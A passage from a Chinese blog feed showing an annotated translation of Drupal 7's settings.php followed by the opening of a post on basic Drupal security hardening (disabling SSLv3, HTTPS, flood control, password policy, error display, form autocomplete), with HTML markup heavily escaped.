 *   &amp;lsquo;database&amp;rsquo; =&amp;gt; &amp;lsquo;databasename&amp;rsquo;,
 *   &amp;lsquo;username&amp;rsquo; =&amp;gt; &amp;lsquo;username&amp;rsquo;,
 *   &amp;lsquo;password&amp;rsquo; =&amp;gt; &amp;lsquo;password&amp;rsquo;,
 *   &amp;lsquo;host&amp;rsquo; =&amp;gt; &amp;lsquo;localhost&amp;rsquo;,
 *   &amp;lsquo;prefix&amp;rsquo; =&amp;gt; &amp;lsquo;main&lt;/em&gt;&amp;rsquo;,
 *   &amp;lsquo;collation&amp;rsquo; =&amp;gt; &amp;lsquo;utf8_general&lt;em&gt;ci&amp;rsquo;,
 * );
 * @endcode
 *
 * 可以利用&amp;rdquo;prefix&amp;rdquo;为部分或全部数据表设置前缀。
 * 如果prefix有值，数据表名称会在前面加上这个前缀。
 * 所以prefix必须是mysql允许的字符构成，一般就是数字、字母和下划线。
 * 如果不指定前缀，则赋值为“”。
 *
 * 要让所有的数据库名字具有同一个前缀，设置&amp;rdquo;prefix&amp;rdquo;为字符串：
 *
 * @code
 *   &amp;lsquo;prefix&amp;rsquo; =&amp;gt; &amp;lsquo;main&lt;/em&gt;&amp;rsquo;,
 * @endcode
 *
 * 要让特定表使用特定前缀，可以将&amp;rdquo;prefix&amp;rdquo;赋值为数组。
 * 数组的键为表名，值为前缀。
 * &amp;lsquo;default&amp;rsquo;是必须的，代表所有未特别制定前缀的其他表的前缀。
 * 例如：
 *
 * @code
 *   &amp;lsquo;prefix&amp;rsquo; =&amp;gt; array(
 *     &amp;lsquo;default&amp;rsquo;   =&amp;gt; &amp;lsquo;main&lt;em&gt;&amp;rsquo;,
 *     &amp;lsquo;users&amp;rsquo;     =&amp;gt; &amp;lsquo;shared&lt;/em&gt;&amp;rsquo;,
 *     &amp;lsquo;sessions&amp;rsquo;  =&amp;gt; &amp;lsquo;shared&lt;em&gt;&amp;rsquo;,
 *     &amp;lsquo;role&amp;rsquo;      =&amp;gt; &amp;lsquo;shared&lt;/em&gt;&amp;rsquo;,
 *     &amp;lsquo;authmap&amp;rsquo;   =&amp;gt; &amp;lsquo;shared_&amp;lsquo;,
 *   ),
 * @endcode
 *
 * 还可以使用schema/database作为前缀。
 * 如果Drupal使用用了非缺省的数据库，或者用户需要同时访问几个database，这种配置就很有用了。
 * 例如：
 *
 * @code
 *   &amp;lsquo;prefix&amp;rsquo; =&amp;gt; array(
 *     &amp;lsquo;default&amp;rsquo;   =&amp;gt; &amp;lsquo;main.&amp;rsquo;,
 *     &amp;lsquo;users&amp;rsquo;     =&amp;gt; &amp;lsquo;shared.&amp;rsquo;,
 *     &amp;lsquo;sessions&amp;rsquo;  =&amp;gt; &amp;lsquo;shared.&amp;rsquo;,
 *     &amp;lsquo;role&amp;rsquo;      =&amp;gt; &amp;lsquo;shared.&amp;rsquo;,
 *     &amp;lsquo;authmap&amp;rsquo;   =&amp;gt; &amp;lsquo;shared.&amp;rsquo;,
 *   );
 * @endcode
 *
 * 注意：MySQL和SQLite的定义中，Schema就是一个数据库。
 *
 * 高级用户可以像PDO连接设置那样，添加或覆盖连接到数据库服务器时执行的命令。
 * 例如，增大MySQL的max_join_size这一系统变量，并把超时时间降低到5秒钟：
 *
 * @code
 * $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = array(
 *   &amp;lsquo;init_commands&amp;rsquo; =&amp;gt; array(
 *     &amp;lsquo;big_selects&amp;rsquo; =&amp;gt; &amp;lsquo;SET SQL_BIG_SELECTS=1&amp;rsquo;,
 *   ),
 *   &amp;lsquo;pdo&amp;rsquo; =&amp;gt; array(
 *     PDO::ATTR_TIMEOUT =&amp;gt; 5,
 *   ),
 * );
 * @endcode
 *
 * 警告：缺省值都是为保障数据库的通用性设置的。
 * 修改缺省值可能会导致不期望的结果，甚至引起数据丢失。
 *
 * @see DatabaseConnection_mysql::&lt;strong&gt;construct
 * @see DatabaseConnection_pgsql::&lt;/strong&gt;construct
 * @see DatabaseConnection_sqlite::__construct
 *
 * 数据库配置格式:
 *
 * @code
 *   $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = array(
 *     &amp;lsquo;driver&amp;rsquo; =&amp;gt; &amp;lsquo;mysql&amp;rsquo;,
 *     &amp;lsquo;database&amp;rsquo; =&amp;gt; &amp;lsquo;databasename&amp;rsquo;,
 *     &amp;lsquo;username&amp;rsquo; =&amp;gt; &amp;lsquo;username&amp;rsquo;,
 *     &amp;lsquo;password&amp;rsquo; =&amp;gt; &amp;lsquo;password&amp;rsquo;,
 *     &amp;lsquo;host&amp;rsquo; =&amp;gt; &amp;lsquo;localhost&amp;rsquo;,
 *     &amp;lsquo;prefix&amp;rsquo; =&amp;gt; &amp;ldquo;,
 *   );
 *   $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = array(
 *     &amp;lsquo;driver&amp;rsquo; =&amp;gt; &amp;lsquo;pgsql&amp;rsquo;,
 *     &amp;lsquo;database&amp;rsquo; =&amp;gt; &amp;lsquo;databasename&amp;rsquo;,
 *     &amp;lsquo;username&amp;rsquo; =&amp;gt; &amp;lsquo;username&amp;rsquo;,
 *     &amp;lsquo;password&amp;rsquo; =&amp;gt; &amp;lsquo;password&amp;rsquo;,
 *     &amp;lsquo;host&amp;rsquo; =&amp;gt; &amp;lsquo;localhost&amp;rsquo;,
 *     &amp;lsquo;prefix&amp;rsquo; =&amp;gt; &amp;ldquo;,
 *   );
 *   $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = array(
 *     &amp;lsquo;driver&amp;rsquo; =&amp;gt; &amp;lsquo;sqlite&amp;rsquo;,
 *     &amp;lsquo;database&amp;rsquo; =&amp;gt; &amp;lsquo;/path/to/databasefilename&amp;rsquo;,
 *   );
 * @endcode
 */
$databases = array();&lt;/p&gt;

&lt;p&gt;/**
 * update.php的访问限制
 *
 * 如果你没有登录，或者登录账号并非初始的管理员，也不具备“管理软件更新”的权限。
 * 在这种情况下要更新系统，就需要修改下面的语句。
 * 把FALSE改为TRUE就可以禁用访问限制。
 * 在更新完成之后，需要确认把TRUE改回FALSE。
 *
 */
$update_free_access = FALSE;&lt;/p&gt;

&lt;p&gt;/**
 *
 * 用于一次性登录以及取消的连接，form token等的SALT
 *
 * 这一变量会在系统安装时被初始化为一个随机值。
 * 如果这个值发生变化，则所有一次性登录连接都会失效。
 * 如果站点被部署到集群环境下，务必保证各个服务器的这一变量完全一致。
 * 如果这个值为空，则会使用数据库登录凭证的序列化结果作为缺省值。
 *
 * 为了增强安全性，可以从一个Drupal目录之外的文件来读取这个配置，
 * 这一文件的保存也应该同Drupal和数据库的备份分开。
 *
 * 例如：
 *      $drupal_hash_salt = file_get_contents(&amp;lsquo;/home/example/salt.txt&amp;rsquo;);
 *
 */
$drupal_hash_salt = &amp;ldquo;;&lt;/p&gt;

&lt;p&gt;/**
 * Base URL (可选).
 *
 * 如果Drupal在你的站点上生成了错误的网址，例如HTML头部的CSS/JS文件，或者页面菜单的连接。
 * 可以启用这一选项，取值为Drupal安装URL。
 *
 * 你可能还想强制用户使用一个指定的域。
 * 可以在.htaccess文件来获取更多信息
 *
 * 例如:
 *   $base_url = &amp;lsquo;&lt;a href=&#34;http://www.example.com&#39;&#34; target=&#34;_blank&#34;&gt;http://www.example.com&#39;&lt;/a&gt;;
 *   $base_url = &amp;lsquo;&lt;a href=&#34;http://www.example.com:8888&#39;&#34; target=&#34;_blank&#34;&gt;http://www.example.com:8888&#39;&lt;/a&gt;;
 *   $base_url = &amp;lsquo;&lt;a href=&#34;http://www.example.com/drupal&#39;&#34; target=&#34;_blank&#34;&gt;http://www.example.com/drupal&#39;&lt;/a&gt;;
 *   $base_url = &amp;lsquo;&lt;a href=&#34;https://www.example.com:8888/drupal&#39;&#34; target=&#34;_blank&#34;&gt;https://www.example.com:8888/drupal&#39;&lt;/a&gt;;
 *
 * 不要在末尾加入斜线，Drupal会自动添加。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;base-url-http-www-example-com-no-trailing-slash&#34;&gt;$base_url = &amp;lsquo;&lt;a href=&#34;http://www.example.com&#39;&#34; target=&#34;_blank&#34;&gt;http://www.example.com&#39;&lt;/a&gt;;  // NO trailing slash!&lt;/h1&gt;

&lt;p&gt;/**
 * PHP设置:
 *
 * 这里允许设置的范围，包括这些内容是否可以在运行时进行设置，请阅读PHP文档：
 * &lt;a href=&#34;http://www.php.net/manual/ini.list.php&#34; target=&#34;_blank&#34;&gt;http://www.php.net/manual/ini.list.php&lt;/a&gt;
 * 参考include/bootstrap.inc中的drupal_environment_initialize()，这里规定了必须进行设置的内容。
 * .htaccess文件中包含了非运行时的设置内容。
 * 这里的设置不要重复，以免发生冲突。
 *
 */&lt;/p&gt;

&lt;p&gt;/**
 *
 * 有些Linux发行版（比如Debian）会禁用PHP的垃圾搜集(gc)。
 * 而Drupal需要垃圾收集特性用于Session清理，所以这里需要特别设置。
 *
 */
ini_set(&amp;lsquo;session.gc_probability&amp;rsquo;, 1);
ini_set(&amp;lsquo;session.gc_divisor&amp;rsquo;, 100);&lt;/p&gt;

&lt;p&gt;/**
 *
 * Session的存活期，单位是秒。
 * 用户最后一次访问活动会话的后，到Session被垃圾收集删除的时间。
 * 当Session被删除，用户会被登出，用户的$_SESSION中保存的内容也会被废弃。
 *
 */
ini_set(&amp;lsquo;session.gc_maxlifetime&amp;rsquo;, 200000);&lt;/p&gt;

&lt;p&gt;/**
 * Cooke存活期，单位是秒。
 * 也就是Session的创建到Cookie过期的时间段，也就是浏览器丢弃Cookie的时间。
 * 如果设置为“0”，则代表“直到浏览器关闭”。
 */
ini_set(&amp;lsquo;session.cookie_lifetime&amp;rsquo;, 2000000);&lt;/p&gt;

&lt;p&gt;/**
 *
 * 如果存在如下情况：
 * 用户发布了大文本，结果展示的内容被截断，但是仍然可以编辑。
 * 这可能是因为Drupal的输出过滤器运行内存不足无法处理。
 *
 * 遇到这种情况，可以考虑启用下面两行代码，增大这两个变量的值，更多信息可参考：
 * &lt;a href=&#34;http://php.net/manual/pcre.configuration.php&#34; target=&#34;_blank&#34;&gt;http://php.net/manual/pcre.configuration.php&lt;/a&gt;.
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;ini-set-pcre-backtrack-limit-200000&#34;&gt;ini_set(&amp;lsquo;pcre.backtrack_limit&amp;rsquo;, 200000);&lt;/h1&gt;

&lt;h1 id=&#34;ini-set-pcre-recursion-limit-200000&#34;&gt;ini_set(&amp;lsquo;pcre.recursion_limit&amp;rsquo;, 200000);&lt;/h1&gt;

&lt;p&gt;/**
 *
 * Drupal自动为站点生成一个基于完整域名的唯一的Session Cookie名。
 * 如果你有多个域名指向同一个Drupal站点，
 * 你可以把所有访问重定向到单独的一个域名（参见.htaccess中的注释）；
 * 或者启用下面的行，指定他们共享的父域名。
 * 这样可以保障用户登录的Session能在各个域中都有效。
 * 遵循RFC 2109的规定，取值必须以“.”开头。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;cookie-domain-example-com&#34;&gt;$cookie_domain = &amp;lsquo;.example.com&amp;rsquo;;&lt;/h1&gt;

&lt;p&gt;/**
 * 变量覆盖:
 *
 * 这一段可以用来覆盖变量表中的内容。
 * 这个特性很少用到。
 * 对于vhost或者目录来说这个配置比较有用。
 * 变量表中的所有内容都可以在这里设置为新的值。
 * 另外，这里指定的变量值，在管理界面的修改是无效的。
 *
 * 例如：
 * - site_name: 缺省的站点名称。
 * - theme_default: 该站点的缺省主题。
 * - anonymous: 匿名用户的可读名称。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-site-name-my-drupal-site&#34;&gt;$conf[&amp;lsquo;site_name&amp;rsquo;] = &amp;lsquo;My Drupal site&amp;rsquo;;&lt;/h1&gt;

&lt;h1 id=&#34;conf-theme-default-garland&#34;&gt;$conf[&amp;lsquo;theme_default&amp;rsquo;] = &amp;lsquo;garland&amp;rsquo;;&lt;/h1&gt;

&lt;h1 id=&#34;conf-anonymous-visitor&#34;&gt;$conf[&amp;lsquo;anonymous&amp;rsquo;] = &amp;lsquo;Visitor&amp;rsquo;;&lt;/h1&gt;

&lt;p&gt;/**
 *
 * 可以为离线页面设置一个主题。
 * 当站点被设置为维护模式，或者数据库离线时，这个配置就有用了。
 * 模板文件必须拷贝到主题中。名称为&amp;rsquo;modules/system/maintenance-page.tpl.php&amp;rsquo;。
 * 注意：这一设置对更新和安装不起作用。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-maintenance-theme-bartik&#34;&gt;$conf[&amp;lsquo;maintenance_theme&amp;rsquo;] = &amp;lsquo;bartik&amp;rsquo;;&lt;/h1&gt;

&lt;p&gt;/**
 * 反向代理配置:
 * 反向代理服务器经常用于增强大负载网站的性能，同时提供额外的站点缓存、安全等好处。
 * 如果Drupal部署反向代理服务器之后，Drupal的日志、统计以及访问控制系统都需要获取真实的用户IP。
 * 通常反向代理服务器会在请求中添加X-Forwarded-For头，用于传递客户IP地址。
 * 然而，HTTP头对于客户端欺诈来说是很脆弱的，有些客户端能够直接生成这个Header信息。
 * 所以，Drupal需要在$conf[&amp;lsquo;reverse_proxy_address&amp;rsquo;]中设置所有的代理服务器地址。
 *
 * 激活这个设置让Drupal可以从X-Forwarded-For头中获取用户的IP地址。
 * 这个Header的名字也可以通过$conf[&amp;lsquo;reverse_proxy_header&amp;rsquo;]修改为其他名称。
 * 如果你不确定是否使用了反向代理，不知道这个选项的含义，或者站点托管在共享主机上，就不必设置。
 *
 * 启用这个配置，就必须把每个反向代理服务器的地址都保存在$conf[&amp;lsquo;reverse_proxy_addresses&amp;rsquo;]中。
 * 如果你的环境中无法获取一个完整的反向代理服务器列表（例如CDN）。可以在settings.php中直接设置$_SERVER[&amp;lsquo;REMOTE_ADDR&amp;rsquo;]。
 * 这意味着可能发生IP伪造。
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-reverse-proxy-true&#34;&gt;$conf[&amp;lsquo;reverse_proxy&amp;rsquo;] = TRUE;&lt;/h1&gt;

&lt;p&gt;/**
 * 如果$conf[&amp;lsquo;reverse_proxy&amp;rsquo;]设置为TRUE，这里必须列出所有的代理服务器
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-reverse-proxy-addresses-array-a-b-c-d&#34;&gt;$conf[&amp;lsquo;reverse_proxy_addresses&amp;rsquo;] = array(&amp;lsquo;a.b.c.d&amp;rsquo;, &amp;hellip;);&lt;/h1&gt;

&lt;p&gt;/**
 * 如果你用于传递IP的HTTP头不是X-Forwarded-For，则需要在这里进行设置。
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-reverse-proxy-header-http-x-cluster-client-ip&#34;&gt;$conf[&amp;lsquo;reverse_proxy_header&amp;rsquo;] = &amp;lsquo;HTTP_X_CLUSTER_CLIENT_IP&amp;rsquo;;&lt;/h1&gt;

&lt;p&gt;/**
 * 页面缓存:
 *
 * 缺省情况下，Drupal会为匿名用户的访问发送一个“Vary: Cookie”的HTTP头。
 * 这会指示HTTP代理服务器，如果用户在访问一个被缓存页面时，如果他发送了同最初访问缓存页面的用户同样的Cookie头，
 * 可以无需联系Web服务器，直接从本地缓存中返回一个页面。
 * 如果没有“Vary Cookie”，登录用户也会以同样的方式从缓存中获取页面。
 * 如果站点绝大多数用户都是匿名用户，极少有编辑和管理活动，这个Vary头可以省略。
 * 这对HTTP代理服务器的缓存有很好的帮助（也包括反向代理），
 * 也就是说，开启这一配置，即使用户发送了不同的Cookie，仍然会从代理服务器缓存中获取内容。
 * 然而这样的话，登录用户应该直接访问服务器（也就是说不通过代理和反向代理服务器），以防从缓存中获取不恰当的内容。。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-omit-vary-cookie-true&#34;&gt;$conf[&amp;lsquo;omit_vary_cookie&amp;rsquo;] = TRUE;&lt;/h1&gt;

&lt;p&gt;/**
 * CSS/JS 聚合文件压缩:
 *
 * 缺省情况下，当CSS和JS聚合以及简洁连接被启用的时候，Drupal会保存gzip压缩的聚合文件。
 * 如果这个文件可用，则.htaccess中的rewrite规则会把这个文件传送给支持gzip压缩内容的浏览器。
 * 这使得用户能够更快的载入页面，并降低服务器压力。
 * 如果你用的不是Apache，或者前端部署了具备缓存和压缩能力的反向代理服务器，可能就要启用下面两行代码，
 * 阻止保存gzip文件。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-css-gzip-compression-false&#34;&gt;$conf[&amp;lsquo;css_gzip_compression&amp;rsquo;] = FALSE;&lt;/h1&gt;

&lt;h1 id=&#34;conf-js-gzip-compression-false&#34;&gt;$conf[&amp;lsquo;js_gzip_compression&amp;rsquo;] = FALSE;&lt;/h1&gt;

&lt;p&gt;/**
 * 块缓存:
 *
 * 实现Block的模块会指定该Block的缓存策略，可能导致块缓存同node access并不兼容。
 * 缺省情况下，Drupal会在一个或者更多模块实现了hook_node_grants()的情况下，禁用块缓存。
 * 如果认为块缓存很安全，希望跳过这个限制，启用下面这行代码。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-block-cache-bypass-node-grants-true&#34;&gt;$conf[&amp;lsquo;block_cache_bypass_node_grants&amp;rsquo;] = TRUE;&lt;/h1&gt;

&lt;p&gt;/**
 * 字符串覆盖:
 * 不管站点是否启用了Locale模块，都可以在这里覆盖指定的字符串。
 * 这个功能让用户可以改变少量的缺省英文界面字符串。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-locale-custom-strings-en-array&#34;&gt;$conf[&amp;lsquo;locale_custom_strings_en&amp;rsquo;][&amp;ldquo;] = array(&lt;/h1&gt;

&lt;h1 id=&#34;forum-discussion-board&#34;&gt;&amp;lsquo;forum&amp;rsquo;      =&amp;gt; &amp;lsquo;Discussion board&amp;rsquo;,&lt;/h1&gt;

&lt;h1 id=&#34;count-min-count-minutes&#34;&gt;&amp;rsquo;@count min&amp;rsquo; =&amp;gt; &amp;lsquo;@count minutes&amp;rsquo;,&lt;/h1&gt;

&lt;h1 id=&#34;toc_18&#34;&gt;);&lt;/h1&gt;

&lt;p&gt;/**
 *
 * IP屏蔽:
 * 使用这个设置，可以跨过数据库中对屏蔽IP地址的查询。
 * 缺省情况下，Drupal在每次页面请求的过程中，不管是登录还是未登录用户，都会查询{blocked_ips}表。
 * 这个表让管理员可以通过管理界面管理IP地址的屏蔽，并且在所有模块载入之前生效。
 * 然而在重负载的网站中，你可能想声调这一步，这个配置允许你在某些缓存配置下，对匿名用户跳过数据库访问。
 *
 * 如果使用这一设置，需要把所有要屏蔽的IP地址加入到这里。数组的每一项都是一个IP。
 *
 * 如果给这个配置赋值为空数组，则代表着禁用IP屏蔽功能。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-blocked-ips-array&#34;&gt;$conf[&amp;lsquo;blocked_ips&amp;rsquo;] = array(&lt;/h1&gt;

&lt;h1 id=&#34;a-b-c-d&#34;&gt;&amp;lsquo;a.b.c.d&amp;rsquo;,&lt;/h1&gt;

&lt;h1 id=&#34;toc_21&#34;&gt;);&lt;/h1&gt;

&lt;p&gt;/**
 * 快速404页面:
 *
 * Drupal能够生成完整主题渲染的404页面。然而，这类相应中的一些图片或者其他资源可能没必要显示给用户。
 * 这造成了对带宽和服务器负载的浪费。
 *
 * 下面的选项，在URL符合下面模式的情况下，生成一个简单的快速的404页面：
 * - 404_fast_paths_exclude: 一个用于描述排除某些路径的正则表达式，例如image styles生成、或者动态大小的图片。
 *  如要添加更多排除项目，可以添加“|path”到表达式中。
 * - 404_fast_paths: 正则表达式，符合这一模式的URL将直接返回快速的简单的404页面，而不是主题渲染的页面。
 *  如果不存在任何&amp;rsquo;htm&amp;rsquo;或者&amp;rsquo;html&amp;rsquo;的别名，可以在表达式中添加“|s?html?”。
 * - 404_fast_html: 404页面的HTML内容。
 *
 */
$conf[&amp;lsquo;404_fast_paths_exclude&amp;rsquo;] = &amp;lsquo;//(?:styles)//&amp;lsquo;;
$conf[&amp;lsquo;404_fast_paths&amp;rsquo;] = &amp;lsquo;/.(?:txt|png|gif|jpe?g|css|js|ico|swf|flv|cgi|bat|pl|dll|exe|asp)$/i&amp;rsquo;;
$conf[&amp;lsquo;404_fast_html&amp;rsquo;] = &amp;lsquo;&amp;lt;!DOCTYPE html PUBLIC &amp;ldquo;-//W3C//DTD XHTML+RDFa 1.0//EN&amp;rdquo; &amp;ldquo;&lt;a href=&#34;http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd&amp;quot;&amp;gt;&#34; target=&#34;_blank&#34;&gt;http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd&amp;quot;&amp;gt;&lt;/a&gt;&lt;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&gt;&lt;head&gt;&lt;title&gt;404 Not Found&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;Not Found&lt;/h1&gt;&lt;p&gt;The requested URL &amp;ldquo;@path&amp;rdquo; was not found on this server.&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;&amp;rsquo;;&lt;/p&gt;

&lt;p&gt;/**
 *
 * 缺省情况下，页面请求在访问一个不存在的文件，
 * 而且网址符合&amp;rsquo;404_fast_paths&amp;rsquo;的条件，而且不在&amp;rsquo;404_fast_paths_exclude&amp;rsquo;的范围中的场景中，
 * 会返回一个快速的404页面。同时404错误也会被记录到Drupal日志系统中。
 *
 * 启用下面的语句，让你可以更早的（在settings刚载入时）返回404页面。这会降低404情况下的服务器负载，
 * 并且不记录错误到日志中去。
 * 为了防止有效的页面例如image style和其他生成内容返回404，必须把他们加入到&amp;rsquo;404_fast_paths_exclude&amp;rsquo;中。
 * 在启用这个项目之前，务必确认对这个功能有了真正的了解。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;drupal-fast-404&#34;&gt;drupal_fast_404();&lt;/h1&gt;

&lt;p&gt;/**
 * 外部代理服务器设置:
 *
 * 如果你的服务器必须通过Web服务器访问外部网络，则可以在这里输入代理服务器配置。
 * 目前这里仅支持基于用户名和密码的基础验证。
 * 如果代理服务器不对User-Agent头进行限制，proxy_user_agent可以设置为NULL。
 * proxy_exceptions用于设置无需代理可以直接访问的站点。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-proxy-server&#34;&gt;$conf[&amp;lsquo;proxy_server&amp;rsquo;] = &amp;ldquo;;&lt;/h1&gt;

&lt;h1 id=&#34;conf-proxy-port-8080&#34;&gt;$conf[&amp;lsquo;proxy_port&amp;rsquo;] = 8080;&lt;/h1&gt;

&lt;h1 id=&#34;conf-proxy-username&#34;&gt;$conf[&amp;lsquo;proxy_username&amp;rsquo;] = &amp;ldquo;;&lt;/h1&gt;

&lt;h1 id=&#34;conf-proxy-password&#34;&gt;$conf[&amp;lsquo;proxy_password&amp;rsquo;] = &amp;ldquo;;&lt;/h1&gt;

&lt;h1 id=&#34;conf-proxy-user-agent&#34;&gt;$conf[&amp;lsquo;proxy_user_agent&amp;rsquo;] = &amp;ldquo;;&lt;/h1&gt;

&lt;h1 id=&#34;conf-proxy-exceptions-array-127-0-0-1-localhost&#34;&gt;$conf[&amp;lsquo;proxy_exceptions&amp;rsquo;] = array(&amp;lsquo;127.0.0.1&amp;rsquo;, &amp;lsquo;localhost&amp;rsquo;);&lt;/h1&gt;

&lt;p&gt;/**
 * 认证的文件系统操作：
 *
 * Update Manager模块提供了一种机制，让管理员可以安全的在站点上利用Web界面安装缺失的更新。
 * 在安全的服务器上，Update Manager在执行升级操作之前，需要管理员提供SSH或者FTP登陆凭据。
 * 让站点能够使用这些登陆凭据来访问整个Drupal站点的文件，而不受限于web server的运行用户。
 *
 * 如果webserver用户就是Drupal文件的拥有者，则无需SSH或FTP凭证（注意这类主机通畅是托管在共享环境中，天生的安全性低）。
 *
 * 有些站点可能希望关闭上面的功能，只允许通过SSH或者FTP进行升级。
 * 这个设置会关闭所有认证文件更新的相关功能。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-allow-authorize-operations-false&#34;&gt;$conf[&amp;lsquo;allow_authorize_operations&amp;rsquo;] = FALSE;&lt;/h1&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 基础安全实战</title>
      <link>/post/drupal-basic-security/</link>
      <pubDate>Tue, 11 Nov 2014 09:02:27 +0800</pubDate>
      <guid>/post/drupal-basic-security/</guid>
      <description>

&lt;p&gt;最近翻译了一篇老外写的全站SSL介绍，感觉水得一塌糊涂，恰好前一段时间被合作方的安全团队在安全方面骚扰很久，涉及的问题范围较广，也比较全面，这里做个总结，也给大家一个参考。&lt;/p&gt;

&lt;p&gt;下面行文主要从 Issues List 里面提取，顺序上可能稍显跳跃，因为是工程案例，所以偏重于见招拆招的解决问题，而较少提供问题的剖析，不过尽量会提供引文供读者延伸阅读。&lt;/p&gt;

&lt;h2 id=&#34;sslv3-enabled&#34;&gt;SSLv3 Enabled&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://www.openssl.org/~bodo/ssl-poodle.pdf&#34; target=&#34;_blank&#34;&gt;Openssl对于ssl poodle问题的说明&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-poodle-sslv3-vulnerability&#34; target=&#34;_blank&#34;&gt;Digital Ocean对这个问题的说明和对策&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Apache Server的配置：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    SSLProtocol all -SSLv3 -SSLv2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nginx Server的配置&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查方法：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    openssl s_client -connect [host_name]:[port_number] -ssl3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回内容应有一行类似内容&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    CONNECTED(00000003)
    55339:error:14094410:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;https访问&#34;&gt;HTTPS访问&lt;/h2&gt;

&lt;p&gt;这个很简单，建议使用全站 HTTPS 的方案来做。&lt;/p&gt;

&lt;p&gt;需要注意的是，自颁发的证书基本相当于是无效的。配置过程中，要注意证书链这个概念。&lt;/p&gt;

&lt;p&gt;非常好的一篇数字证书入门：&lt;a href=&#34;http://www.cnblogs.com/JeffreySun/archive/2010/06/24/1627247.html&#34; target=&#34;_blank&#34;&gt;《数字证书原理》&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;提供两个检查 https 配置情况的在线工具：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.networking4all.com/en/support/tools/site+check&#34; target=&#34;_blank&#34;&gt;http://www.networking4all.com/en/support/tools/site+check&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.sslshopper.com/ssl-checker.html&#34; target=&#34;_blank&#34;&gt;https://www.sslshopper.com/ssl-checker.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;另外还可以利用 &lt;a href=&#34;https://www.drupal.org/project/seckit&#34; target=&#34;_blank&#34;&gt;Security Kit 模块&lt;/a&gt;启用 &lt;a href=&#34;http://zh.wikipedia.org/wiki/HTTP%E4%B8%A5%E6%A0%BC%E4%BC%A0%E8%BE%93%E5%AE%89%E5%85%A8&#34; target=&#34;_blank&#34;&gt;HSTS&lt;/a&gt;。强制浏览器使用 HTTPS 通信。&lt;/p&gt;

&lt;h2 id=&#34;input-validation&#34;&gt;Input Validation&lt;/h2&gt;

&lt;p&gt;在工期较紧，又包含大量自开发模块的项目中，经常会出现这种问题，缺乏对 Form 输入的基本验证。&lt;/p&gt;

&lt;h2 id=&#34;flood-control&#34;&gt;Flood Control&lt;/h2&gt;

&lt;p&gt;Drupal对登陆行为自带了 Flood Control 用于防止暴力破解。但是这部分涉及的系统变量和 Ban List 都属于隐藏内容，无法直接操作，可以通过 &lt;a href=&#34;https://www.drupal.org/project/flood_control&#34; target=&#34;_blank&#34;&gt;Flood control&lt;/a&gt;模块对登陆行为进行控制。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/fbip&#34; target=&#34;_blank&#34;&gt;fbip&lt;/a&gt; 模块据说更进一步的提供了对所有 Form 的 Flood Control，笔者目前还没有实测。&lt;/p&gt;

&lt;h2 id=&#34;密码策略&#34;&gt;密码策略&lt;/h2&gt;

&lt;p&gt;可以通过 &lt;a href=&#34;https://www.drupal.org/project/password_policy&#34; target=&#34;_blank&#34;&gt;Password policy&lt;/a&gt; 模块设定密码的复杂度策略。&lt;/p&gt;

&lt;h2 id=&#34;php-错误信息&#34;&gt;PHP 错误信息&lt;/h2&gt;

&lt;p&gt;为防止站点出错时，泄露服务器信息，可以在 &lt;code&gt;admin/config/development/logging&lt;/code&gt; 下选择None来禁止错误信息的显示。&lt;/p&gt;

&lt;h2 id=&#34;自动完成&#34;&gt;自动完成&lt;/h2&gt;

&lt;p&gt;多数时候，这一特性方便了用户，但在多个用户使用同一终端的情况下，有可能造成信息泄露，对于HTML5浏览器，可以写一个 &lt;code&gt;form_alter&lt;/code&gt;，禁止指定或全部 Form 的自动完成：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;function auto_complete_off_form_alter(&amp;amp;$form) {
    $form[&#39;#attributes&#39;][&#39;autocomplete&#39;] = &#39;off&#39;;
}
&lt;/code&gt;&lt;/pre&gt;

